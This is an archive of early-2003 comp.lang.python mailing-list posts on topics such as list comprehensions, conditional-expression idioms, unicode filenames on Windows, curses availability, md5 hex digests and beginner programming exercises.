Date: Thu, 09 Jan 2003 13:51:02 -0000
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org> <3E1CAFB3.73CEA6A7@engcorp.com>
Message-ID: <v1qvi6ddvfbu2e@corp.supernews.com>

In article <3E1CAFB3.73CEA6A7 at engcorp.com>,
Peter Hansen  <peter at engcorp.com> wrote:
>Chad Netzer wrote:
>> 
>> On Wednesday 08 January 2003 14:07, Tupoi wrote:
>> 
>> > ok to be more specific what are the best undergrad schools in the US for a
>> > Computer Science major in general because most undergrads like me probbably
>> > have not decided whether they will be computer programmers, network guys,
>> > or whatever else.
>> 
>> I see.  Well, in that case, the answer is Purdue.  Go to Purdue, that is the
>> best undergrad school in the US for CS.
>
>And the University of Waterloo is the best undergrad school for CS
>in North America.  Probably for the rest of the world, too. :-)
			.
			.
			.
I'm curious about what insider jokes I'm missing.
I think Purdue and Waterloo *do* deserve consid-
eration.

Incidentally, I strongly urge US teens to look
into Canadian schools.  There are excellent, ex-
cellent values available.  The usual cross-border
adjectives apply--you can find the quality ofa
UoChicago or Penn, but with less crime, milder 
climate, and far lower fees.

Back to the subject at hand:  I'm still trying
to figure out whether to distinguish "best
school" from "best school for the individual".
If you just want well-paying jobs in industry,
I'm inclined to think the best school is one
you make for yourself:  start working, and study
on your own ...
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From b_mcerlean at yahoo.com  Wed Jan 29 06:08:27 2003
From: b_mcerlean at yahoo.com (Brian McErlean)
Date: 29 Jan 2003 03:08:27 -0800
Subject: else in list comp
References: <1043813125.19419.1408.camel@x1-6-00-04-5a-64-c4-03>	 <20030129042651.GA11264@frobozz.local> <mailman.1043815132.31865.python-list@python.org>
Message-ID: <f040c4f9.0301290308.1a4fa91e@posting.google.com>

Cliff Wells <clifford.wells at attbi.com> wrote in message news:<mailman.1043815132.31865.python-list at python.org>...
> On Tue, 2003-01-28 at 20:26, Andrew Bennetts wrote:
> > On Tue, Jan 28, 2003 at 08:05:25PM -0800, Cliff Wells wrote:
> > > Maybe this has come up before, but I haven't heard a discussion of list
> > > comps in a while so here's something I thought might be interesting:
> > > 
> > > I was looking for a fast, clean way of converting a single value in a
> > > list to a different value (specifically None to '').  It occurred to me
> > > to use a list comp and this seemed the most straightforward solution:
> > > 
> > > Given the list:
> > > 
> > > l = ['mary', 'had', 'a', 'little', None]
> > > 
> > > it should get mapped to ['mary', 'had', 'a', 'little', '']
> > 
> > This doesn't solve the general problem, but...
> > 
> >     >>> l = ['mary', 'had', 'a', 'little', None]
> >     >>> [x or '' for x in l]
> >     ['mary', 'had', 'a', 'little', '']
> 
> Yes, but that wasn't really my point =)  I was soliciting comments on an
> else clause in list comps.

Personally,the syntax you proposed looks confusing to me:
['' for i in l if i is None else i]

Maybe its because it looks a bit like the proposed syntax for a
conditional statement:
 (foo) if (cond) else (bar)
and looking at it like this makes me want ot parse it as 
    ['' for i in (l if i is None else i) ]
ie. iterate over list l if i is None, otherwise iterate over list i.

It doesn't seem clear that the "else i" causes the i to replace the
result value, embedded as it is in the list comprehension part.

> Also, consider how to replace None with '' in the following list:
> 
> [0, None, '1', None, 2, None, '3']
> 
> This is actually closer to my real situation (0 is a possibility). My
> first example was poor.  Sorry.

Obviously you can use
 l = [(x is None) and x or '' for x in l]

but thats getting very ugly.  I think a better, and much more generic
approach is a dictionary:

>>> l= [0, None, '1', None, 2, None, '3']
>>> replacements = {None : ''}
>>> print [replacements.get(x,x) for x in l]
[0, '', '1', '', 2, '', '3']

This has the nice property that you can add in multiple substitutions
trivially, just by adding them to the replacement dict.

If you really want a one-liner, you could even use:

[ {None:''}.get(x,x) for x in l]

though you'll lose efficiency since the dictionary will be constructed
each pass.



From rmunn at pobox.com  Fri Jan 24 11:56:43 2003
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 24 Jan 2003 16:56:43 GMT
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org> <1d4cf4c3.0301231155.f8bc70b@posting.google.com> <3E3087AF.DB0D06CB@alcyone.com>
Message-ID: <slrnb32738.5jj.rmunn@localhost.localdomain>

Erik Max Francis <max at alcyone.com> wrote:
> Daniel wrote:
> 
>> Oh no, I've become one of THEM!  Thank you, the a and b or c is good
>> enough for me.
> 
> Just remember that a and b or c won't work if b is false.

So for the example you quoted:

    print 'Search complete (%d match%s found)'%(matches,(matches==1?'':'es'))

the "a and b or c" trick won't work, since an empty string is considered
false. You would need to invert the test. Instead of:

    (matches==1) and '' or 'es'

use:

    (matches!=1) and 'es' or ''

This will work properly.

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From tismer at tismer.com  Mon Jan 20 22:09:21 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 21 Jan 2003 04:09:21 +0100
Subject: Continuations
In-Reply-To: <T5YW9.77420$sV3.3437814@news3.calgary.shaw.ca>
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca> <T5YW9.77420$sV3.3437814@news3.calgary.shaw.ca>
Message-ID: <3E2CB9E1.3090104@tismer.com>

Gregor wrote:
> Thank you both! That little bit of clarification was exactly what I needed. 
> Stackless Python may not use continuations anymore, but it's still nice to 
> have my curiosity satisfied.

That's fine with me.

But please note: This update crap was my invention
since I thought to need it, because I had no other
idea how to get at that position in the program.
This is totally stackless related, and you will
most probably not find it in any other language
which supports continuations.
It also breaks the notion that continuations
are immutable. update() mutates one.

I've been bashed quite some times for doing this,
and I wished I had not done it.

Realizing that most of the Scheme people whom I
met also thought negative about implementing
continuations in any real language today was a
real surprise to me.
This, together with Guido's rejection, made me
abandon the whole (nice) concept, later.

continuing-continuationless-ly y'rs - chris





From aleax at aleax.it  Wed Jan 29 11:15:11 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 16:15:11 GMT
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com>
Message-ID: <j6TZ9.100622$0v.2907983@news1.tin.it>

Andrei Smirnov wrote:
   ...
>> editor correctly, e.g. expand all tabs to spaces, and preferably make
>> sure your workmates do the same.
> 
> yes, that's good advise. some nonrelevant issues (like my boss is using vi
> only) makes it impossible to achive in real life.

Convert your boss to vim!  It can be used as a strict superset of
vi.  As a vi fanatic myself, I see NO reason to keep using the
old, limited vi, when vim's SO good these days.  vim can easily
be configured to expand all tabs to spaces, btw.


Alex




From programisci_listy at muratorDOTcom.pl  Mon Jan  6 08:02:00 2003
From: programisci_listy at muratorDOTcom.pl (Yar3k)
Date: Mon, 06 Jan 2003 14:02:00 +0100
Subject: running external application or DTS
Message-ID: <54vi1vgjtg8uq2o59eiqjlupamefio1sp6@4ax.com>

I need to run DTS command on NT Server using Python scripts. I am
afraid there is no dedicated library for such task, so I have to run
external application dtsrun.exe.
The problem is, I have no idea how to execute it and pass all
parameters. I would like to catch exit code as well. 
I need any working example...



From clifford.wells at attbi.com  Tue Jan 28 23:35:04 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 28 Jan 2003 20:35:04 -0800
Subject: else in list comp
In-Reply-To: <20030129042651.GA11264@frobozz.local>
References: <1043813125.19419.1408.camel@x1-6-00-04-5a-64-c4-03>
	 <20030129042651.GA11264@frobozz.local>
Message-ID: <1043814904.19419.1416.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-28 at 20:26, Andrew Bennetts wrote:
> On Tue, Jan 28, 2003 at 08:05:25PM -0800, Cliff Wells wrote:
> > Maybe this has come up before, but I haven't heard a discussion of list
> > comps in a while so here's something I thought might be interesting:
> > 
> > I was looking for a fast, clean way of converting a single value in a
> > list to a different value (specifically None to '').  It occurred to me
> > to use a list comp and this seemed the most straightforward solution:
> > 
> > Given the list:
> > 
> > l = ['mary', 'had', 'a', 'little', None]
> > 
> > it should get mapped to ['mary', 'had', 'a', 'little', '']
> 
> This doesn't solve the general problem, but...
> 
>     >>> l = ['mary', 'had', 'a', 'little', None]
>     >>> [x or '' for x in l]
>     ['mary', 'had', 'a', 'little', '']

Yes, but that wasn't really my point =)  I was soliciting comments on an
else clause in list comps.

Also, consider how to replace None with '' in the following list:

[0, None, '1', None, 2, None, '3']

This is actually closer to my real situation (0 is a possibility). My
first example was poor.  Sorry.

-- 
Cliff Wells <clifford.wells at attbi.com>





From maxm at mxm.dk  Tue Jan 21 07:30:39 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 21 Jan 2003 13:30:39 +0100
Subject: max() of a list of tuples
In-Reply-To: <3e2d31cf$1_1@news.uni-bielefeld.de>
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <3E2D2E46.6060104@mxm.dk> <3e2d31cf$1_1@news.uni-bielefeld.de>
Message-ID: <3E2D3D6F.2030102@mxm.dk>

Mario Wehbrink wrote:
 > Am Die, 21 Jan 2003 schrieb Max M in comp.lang.python:
 >
 >
 >>Mario Wehbrink wrote:
 >>
 >>
 >>>[maximum of list of tuples]
 >>
 >>
 >>l = [(1,3,5), (8,16,2), (2,56,4)]
 >>print max([(i[-1],i) for i in l])[1]
 >>
 >> >>> (1,3,5)
 >
 > Nice and elegant! Thanks. Although i don't understand how it works :-/

Here goes then!

# wont explain this one ;-)

l = [(1,3,5), (8,16,2), (2,56,4)]

# create a new list of 2 element tuples with last element of
# your tuples as the first value, and the actual tuple as the second.
# this is a standard idiom for sorting efficiently in Python

sList = [(i[-1],i) for i in l]
# sList = [(5,(1,3,5)), (2,(8,16,2)), (4,(2,56,4))]

# Because the first element is the most significant in a compare,
# python will get max value from that

maxElement = max(sList)
# maxElement = (5,(1,3,5))

# and to get the correct tuple I take the 2. element in maxElement

print maxElement[1]

 >>> (1,3,5)

I hope that is more obvious


regards

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From manobes at sfu.ca  Sat Jan 25 13:01:31 2003
From: manobes at sfu.ca (Matthew Nobes)
Date: 25 Jan 2003 18:01:31 GMT
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <3e32ce04_4@corp.newsgroups.com>
Message-ID: <b0ujdr$849$1@morgoth.sfu.ca>

Norm <norm at norm.com> wrote:

> Pico is just so quick, clean and straightforward to use - I'm sure there is
> a reason why I shouldn't be!

If you like it, use it.  However one thing pico doesn't do is 
syntax highlighting, I find that catchs a lot of my errors.

-- 
Matthew Nobes
c/o Physics Dept. Simon Fraser University, 8888 University
Drive Burnaby, B.C., Canada
http://normland.phys.sfu.ca



From mcfletch at rogers.com  Mon Jan 20 23:21:33 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 20 Jan 2003 23:21:33 -0500
Subject: Where do you store data files?
In-Reply-To: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
Message-ID: <3E2CCACD.10500@rogers.com>

On Windows, you should probably be doing something like this:

from win32com.shell import shell, shellcon
path = shell.SHGetFolderPath( 0, shellcon.CSIDL_PERSONAL, 0, 0 ).encode()

to get "My Documents", or CSIDL_LOCAL_APPDATA if you want the (newer, 
less widely available) "Application Data" folder for the user.

While it's true that Windows boxes are less likely to be "properly" 
managed, programs are encouraged (at least by me ;) ) to use the "user" 
areas (such as My Documents) for storage so that systems administration 
is less of a complete PITA.

HTH,
Mike

logistix wrote:

>I've got a project that generates a simple text-format database and
>will probably generate a few dozen more documents for caching
>purposes.  I'm just trying to decide where I should store them.  I was
>thinking about just creating a subfolder in the module, which is fine
>for Windows but doesn't seem to be the "appropriate" Unix place to
>store it.
>
>Just wondering what other people were doing.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From spam at magnetic-ink.dk  Wed Jan 29 03:24:45 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 08:24:45 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org> <0db0c51b-a544-4137-a111-160834f66e35@news.szn.dk> <4f499956-e037-4f04-a3c1-26a54482fda8@news.szn.dk>
Message-ID: <d3132f78-1f3d-41de-8e51-bb19db0b8254@news.szn.dk>

I'd really like to see a weblog app like SnipSnap? written in Python
(even as a Zope product).  It has a builtin webserver and database
manager.  Its strength, IMO, is its seamless integration af weblog
and wiki pages.  Very neat.  If only it weren't written in Java.


  // Klaus

 ?) http://snipsnap.org/
-- 
 ><> 	vandag, m?re, altyd saam



From abelikov72 at hotmail.com  Thu Jan  9 10:29:19 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 15:29:19 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08>
Message-ID: <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com>

On Thu, 9 Jan 2003 10:08:06 -0500, "Steve Holden"
<sholden at holdenweb.com> wrote:

>"Andrew Bennetts" <andrew-pythonlist at puzzling.org> wrote in message
>news:mailman.1042118119.29945.python-list at python.org...

>Afanasiy: to write '''If the "pythonic world-view" is that code which would
>look better with implicit self is "poor implementation"''' and '''My design
>is perfect.''', and then complain about condescending attitudes strikes me
>as the pot calling the kettle black. You asked a question, and you got
>answers. You may not have liked the tone, but since you can only *interpret*
>its meaning it usually doesn't do you much good to complain about newsgroup
>modes of expression. Or, more shortly: "get over it!".

I have the same desire to defend myself with a reply as you or others.
Except that I was the original victim and my double quoting remark was
a purely logical rephrasing of what they were telling me. The fact that
it spurred such a reply when *I* rephrashed what they said says much.

>This is actually quite a friendly group (certainly there are many others
>where you would experience much greater hostility). Try not to interpret
>comments as condescending: they usually aren't. I guess you may wish to make
>an exception of this message :-), though I am actually trying to pur oil on
>troubled waters.

When someone like Dalke trolls I will always react.



From tundra at tundraware.com  Tue Jan 21 20:00:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 22 Jan 2003 01:00:07 GMT
Subject: os.system and unicode arguments fail on Win32
In-Reply-To: <m3bs2a8409.fsf@mira.informatik.hu-berlin.de>
References: <d6kk0b.vfh1.ln@boundary.tundraware.com> <m3bs2a8409.fsf@mira.informatik.hu-berlin.de>
Message-ID: <9dqk0b.aii1.ln@boundary.tundraware.com>

Martin v. L?wis wrote:
> Tim Daneliuk <tundra at tundraware.com> writes:
> 
<SNIP>

> This will change in Python 2.3. In many cases, Python 2.2 will also
> accept Unicode strings in file system API on Windows. For Python 2.3,
> and NT+, all Unicode strings are usable as file names.
> 
> This still does not include os.system, or environment variables.

What is the restiction here that prevents 2.3 from doing things
the same way with these portions of the OS.

Incidentally, it seem strange to me that Win32 is inherently
a unicode environment but os.system (which presumably mapps
to some Win32 API) has trouble with unicode strings...-

> 
>>Is there a way to "depromote" a unicode string into a byte string that
>>the os calls can live with, or am I forced to figure out a low-level
>>system call (via win32all, I guess) which *should* be able to handle
>>this case.
> 
> 
> Sure. Just invoke .encode(native encoding) on the Unicode object, to
> obtain a byte string.
> 
> On Windows, using "mbcs" as the native encoding is correct in most
> cases.

Do you happen to have a URL (or better still, a programmatic method)
whereby I might determine the native encodings for various systems?

Vielen Danke ;) for your extensive help in these unicode matters over
the past couple of days...


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From Loko at caramail.com  Thu Jan 16 08:10:59 2003
From: Loko at caramail.com (Loko)
Date: 16 Jan 2003 05:10:59 -0800
Subject: Convert seconds in minutes, hours, days, years ...
Message-ID: <399d6c30.0301160510.38703bfe@posting.google.com>

Hello

Isn't there an already package that contains functions to convert a
number of seconds into year, days, hours, minutes and seconds ?

Do I have to write it ?

Thanx
Loko



From clifford.wells at attbi.com  Sun Jan 19 18:48:17 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 19 Jan 2003 15:48:17 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
In-Reply-To: <XBFW9.10615$bs2.9838@news2.central.cox.net>
References: <f57664b9.0301161552.5dff2038@posting.google.com>
	 <mailman.1042827297.2914.python-list@python.org>
	 <f57664b9.0301171934.58612fa@posting.google.com>
	 <mailman.1042949555.10811.python-list@python.org>
	 <XBFW9.10615$bs2.9838@news2.central.cox.net>
Message-ID: <1043020097.4926.12.camel@x1-6-00-04-5a-64-c4-03>

On Sun, 2003-01-19 at 14:25, Steve Holden wrote:
> "Cliff Wells" <clifford.wells at attbi.com> wrote org...
> [...]
> >  It seems I've lost my
> > superpowers and will be forced to actually read posts before replying to
> > them as I clearly can't rely on time-travel any more.  I'll probably
> > have to start wearing my tinfoil hat again too.
> >
> > Sadly,
> >
> 
> Are you coming to PyCon? I'd like to get a picture of you in that hat...

Unfortunately, wearing the hat precludes wearing anything else (zippers,
in particular, are notorious for drawing cosmic rays away from the hat,
defeating its purpose), so not only is air-travel straight out, I'd have
to charge for pictures too <wink>

-- 
Cliff Wells <clifford.wells at attbi.com>





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Mon Jan 27 13:47:07 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Mon, 27 Jan 2003 19:47:07 +0100
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <b13r58$82q$04$2@news.t-online.com>
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org> <b13r58$82q$04$2@news.t-online.com>
Message-ID: <3e357d30$0$49104$e4fe514c@news.xs4all.nl>

Martin v. L?wis wrote:
> If the standard Python distribution is to be extended, you 
> really should use MSVC 6 (if you can still get copies of that).

Just for my information, does Python compile with VC++ 7
(the C++ compiler from VStudio .NET) ?

Irmen




From neal at metaslash.com  Tue Jan  7 21:00:37 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Tue, 07 Jan 2003 21:00:37 -0500
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <JiqD$KAGb2G+Ewyl@jessikat.fsnet.co.uk> <loKS9.175$467.90@fe08> <yDYdXKAMg3G+EwGS@jessikat.fsnet.co.uk>
Message-ID: <pan.2003.01.08.02.00.29.566231.9294@metaslash.com>

On Tue, 07 Jan 2003 19:59:56 -0500, Robin Becker wrote:

> In article <loKS9.175$467.90 at fe08>, Steve Holden <sholden at holdenweb.com>
> writes
> ......
>>Well, there's also a widening principle that you seem to be ignoring. In
>>the same way that int+float gives float, and float*complex gives
>>complex, so any string operation involving a Unicode operation gives a
>>Unicode result.
>>
> ......I'm not really disagreeing. The widening here just seems wrong. If
> "x" op y --> unicode/string why can't "x" op z --> complex for some
> specific values of x & z. Normally Python tries to be simple, but if
> unicode is a widened string why doesn't raise u'A' work? Widening should
> work reasonably if we are going to have a concensus on what is
> reasonable.
 
Raising strings as exceptions is deprecated.  So there isn't much point
in allowing unicode exceptions.

Neal



From peter at engcorp.com  Sun Jan 19 09:48:32 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 19 Jan 2003 09:48:32 -0500
Subject: grace way to repeat a function
References: <b0dr6o$lbi$1@mail.cn99.com>
Message-ID: <3E2ABAC0.9BA6338@engcorp.com>

knightmare wrote:
> 
> i'm finding a way to repeat a function.used to do like this:
> for i in range(1,10):
>     print "function"
> but i think this not graceful.anyone have good idea ?

It's perfectly graceful, and more important, readable, although
there are two things you should do differently.

1. Make sure you really want it to repeat only 9 times... 
   otherwise use range(10) or, the same thing, range(0, 10)

2. Use xrange() instead of range(), in case you decide you
   want to iterate 1000000 times instead of ten times...

-Peter



From maney at pobox.com  Fri Jan  3 22:58:48 2003
From: maney at pobox.com (maney at pobox.com)
Date: Sat, 4 Jan 2003 03:58:48 +0000 (UTC)
Subject: practice programs
References: <3e1623e1$1_5@nopics.sjc> <GFqR9.2073$LY3.1421@nwrddc04.gnilink.net>
Message-ID: <av5m5o$q9k$1@wheel2.two14.net>

Raymond Hettinger <vze4rx4y at verizon.net> wrote:
> From: "Tupoi" <EDB30 at msn.com>
>> any ideas for programms a begginer might try writing to help hone his
> skills
> 
> A spell checker might be useful ;)

WYLASOMTGWTC?  :-)

> Some classic exercises are:
> -- prime number generator (3,5,7,11, and 13 are prime; 9 is an anomaly)

Don't you have that backwards?  I'm quite certain that, with a less
selective sample, 9 would be seen to belong to the more common class.  :-)

> -- Markov sentence generation
> -- mail merge (table of fields inserted in to text with place holders)
> -- key word in context (search google for KWIC index)
> -- shuffle a deck and evaluate a blackjack hand
> -- use introspection and metaclasses to write a native Python compiler
> (okay, maybe not).

Aww, and you were doing so well up to that last one, too.

But [relatively] seriously...

Many years ago, when the universe was younger (and so was I), I had the
good luck to acquire a large-format book titled _Etudes for
Programmers_, written by one Charles Wetherwell of UCD.  He had a wide
range of programming exercises, from the quite simple (a gasoline usage
computation program, for example) to a set intended for teams of
students in a systems programming course (machine simulator,
link/loader, compiler for a simple algebraic language, and a TRAC
interpreter).  What they all had was a reasonably complete
description/specification, some hints about reasonable languages and
approaches, and of course citations to relevant literature (for
example, Martin Gardner's SciAm columns for the etude on implementing
Conway's game of life - and that's a wonderful project that's easily
explained and doesn't require great skill to get running).

I mention this not to suggest the book itself (published in 1978, what
do you suppose the odds are that it's two decades out of print now?),
but the approach in general.  There are various programming contests,
many of which make their program specs and, often, some or all of the
submissions, readily available, but those tend to be suited to a more
advanced student.  Perhaps someone else knows of similar content aimed
at less experienced programmers?

Oh heck.  Now that I've pulled it off its dusty shelf I may as well
give you a table of contents.  I'm omitting (mostly) the fanciful
chapter names in favor of the subtitles that are usually more
descriptive of the etude.

1)  What's It All About, Alfie?  or  How To Use This Book
2)  The Game of LIFE  or Cellular Automata and Computer Graphics
3)  Map Coloring by Exhaustive Search
4)  Printer's Devil  or  Automatic Text Formatting
5)  Tournament Design and Evaluation
6)  Business management and Computer Simulation
7)  Puzzle Construction Using Heuristics
8)  Automatic Creation of Mazes
9)  Know Thyself  or  Programs That Print Their Own Sources
10) Calculations of investment Yield
11) Ye Soule of Witte  or  Textual Redundancy and File Compression
12) Bookkeeping for Home Use
13) Simulation of a Turing Machine
14) A Computer Strategy for Kalah
15) Searching for Patterns Among the Primes
16) A Gasoline Usage Computation
17) Highway Traffic Simulation
18) Construction of a FORMAT Scanner
19) Solitaire Statistics Collection
20) A Symbolic Algebra Package
21) Perverse Inverse  or  Errors Using Floating Point
22) High-Precision Arithmetic Routines
23) Mastermind  or  Optimal Strategies for a Guessing Game
24) A Code of Dishonor  or  Mathematical Cryptanalysis

and the set of etudes for compiler courses:

25) Simulation of a Typical Large Computer
26) A Linking Loader
27) A Compiler for an Algebraic Language
28) Building a TRAC Interpreter

worked solutions for etudes #3 and #11



From phr-n2003b at NOSPAMnightsong.com  Thu Jan 30 19:25:13 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 30 Jan 2003 16:25:13 -0800
Subject: converting data to hex
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com>
Message-ID: <7xu1fqupw6.fsf@ruckus.brouhaha.com>

Mark Harrison <mh at pixar.com> writes:
> I've got an md5 digest and would like to print it as
> a hex value, but I can't get the individual hex value
> formatted.  Can someone loan me a clue?
> 
> import md5
> d = md5.new("foo")
> for x in d.digest():
>     print "a", ("%02x" % x)  ## how do I convert x to int???

If you want hex, just say 

    d = md5.new("foo")
    print d.hexdigest()



From cavada at irst.itc.it  Mon Jan 27 05:04:22 2003
From: cavada at irst.itc.it (Roberto Cavada)
Date: Mon, 27 Jan 2003 11:04:22 +0100
Subject: Why does int(5.0) returns 0
In-Reply-To: <16455653.1043645612859.JavaMail.Administrator@atp>
References: <16455653.1043645612859.JavaMail.Administrator@atp>
Message-ID: <3E350426.3040005@irst.itc.it>

spatel wrote:
> glibc 2.3.1-r2 with pentium4 and -O3 optimization created this mess. When I
> recompile glibc without optimization, it fix this problem. 

Which compiler version did you use?
This can help to keep track of similar problems.
rob

-- 
------------------------------------------------------
Roberto Cavada
ITC-irst Institute for Scientific and Technological Research
Automated Reasoning Systems - Formal Methods Group
Via Sommarive, 18 - 38050 Povo (TN) - Italy
Tel: +39 0461 314 321   Fax: +39 0461 302 040
cavada at irst.itc.it  http://sra.itc.it/people/cavada/
------------------------------------------------------





From max at alcyone.com  Fri Jan 17 23:05:07 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 17 Jan 2003 20:05:07 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com>
Message-ID: <3E28D273.13497D3E@alcyone.com>

Terry Reedy wrote:

> Once you actually think about it, its obvious that attaching the join
> method to the joiner is the only sensible place to put it.
> 
> "Carpenter, exercise your ability to joins these pieces of wood."

Agreed.  It may look weird at first, but it doesn't take long to realize
as a method, that's the only place it can logically go.  After all, the
alternative is having a join method be part of _every single sequence
interface_, which is clearly heavy-handed.

Furthermore, it's inherently a string-based operation, therefore the
method should go on the string.  I personally find ','.join(S) extremely
inuitive and readable.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Life is a zoo in a jungle.
\__/ Peter de Vries
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From dvass at felis.uni-freiburg.de  Mon Jan  6 23:57:24 2003
From: dvass at felis.uni-freiburg.de (Joerg Woelke)
Date: Tue, 07 Jan 2003 05:57:24 +0100
Subject: renaming files
References: <3e1a5058_3@nopics.sjc>
Message-ID: <3E1A5E34.5AA9757E@felis.uni-freiburg.de>

Hi!

Hilbert wrote:
> 
> Hello,

[ snip ]

> I can't find no easy way. I don't want to use a system call to 'ls', so got
> a list
> of files with os.listdir(), but how can I get a selective list?
> I can match "test-" with string.find, but I'm really looking for test-????.*
> (csh wildcards).

glob.glob()
 
> Any suggestions?
> 
> Thanks!

HTH, J"o!

-- 
sigfault



From martin at v.loewis.de  Sat Jan 18 07:57:33 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 18 Jan 2003 13:57:33 +0100
Subject: Overloading methods in C API
In-Reply-To: <200301181223.15619.phil@river-bank.demon.co.uk>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com>
	<m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>
	<200301181223.15619.phil@river-bank.demon.co.uk>
Message-ID: <m3znpy1upu.fsf@mira.informatik.hu-berlin.de>

Phil Thompson <phil at river-bank.demon.co.uk> writes:

> So you have to implement it yourself by checking the types of the arguments 
> and calling the right overload, by which time you really need to be using an 
> automatic bindings generator to do it for you.
> 
> http://www.riverbankcomputing.co.uk/sip/ is my favorite. :)

That, of course, assumes that you really can perform the right
dispatching. For example, when dispatching from Python to C++, there
might be tricky issues, such as how to relate the many C++ integer
types to the two Python integer types. Some languages (e.g. C++) even
allow to define functions with a potentially unbounded number of
overloaded definitions (i.e. templates).

Regards,
Martin




From mwh at python.net  Fri Jan 31 09:38:34 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 14:38:34 GMT
Subject: ImportError: No module named _curses ?
References: <3E3861C4.8090609@web.de> <oJ0_9.210$TG3.169677@news.uswest.net> <3E39642A.5040706@web.de>
Message-ID: <7h365s5xu4l.fsf@pc150.maths.bris.ac.uk>

Ingo Linkweiler <i.linkweiler at web.de> writes:

> Kevin Altis schrieb:
> > The curses module is not available on Windows, as you found out when you
> > tried to import it. The documentation should probably make that point.
> > http://www.python.org/doc/current/lib/module-curses.html
> 
> the documentation says, it is available for DOS.
> I thought, a DOS-Box in Windows is compatible to MS-DOS.

Reasonably, but wrongly, I think.

> Do you know any alternatives for my purpose?
> I only need some simple, but OS-independend functions like this
> c = readkey()
> clearscreen()
> setcursorat(x,y)

I think, maybe, the msvcrt module might do that.  Vague enough?  Or
there's /F's console library.

The OS-independent part I think you will have to do yourself.

Cheers,
M.

-- 
  An encyclopedia is about being as accurate as it can, not being
  evenly misinformed.                     -- Coby Beck, comp.lang.lisp



From claird at lairds.com  Fri Jan 10 10:34:30 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 10 Jan 2003 15:34:30 -0000
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org>
Message-ID: <v1tq06bo2mjg14@corp.supernews.com>

In article <oe23f-ta3.ln1 at news.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
			.
			.
			.
>Sure, I can do that but then I have to parse the second group
>again.  In this case it's fairly trivial, but in my application
>there is a lot of junk in between each of the groups.
>
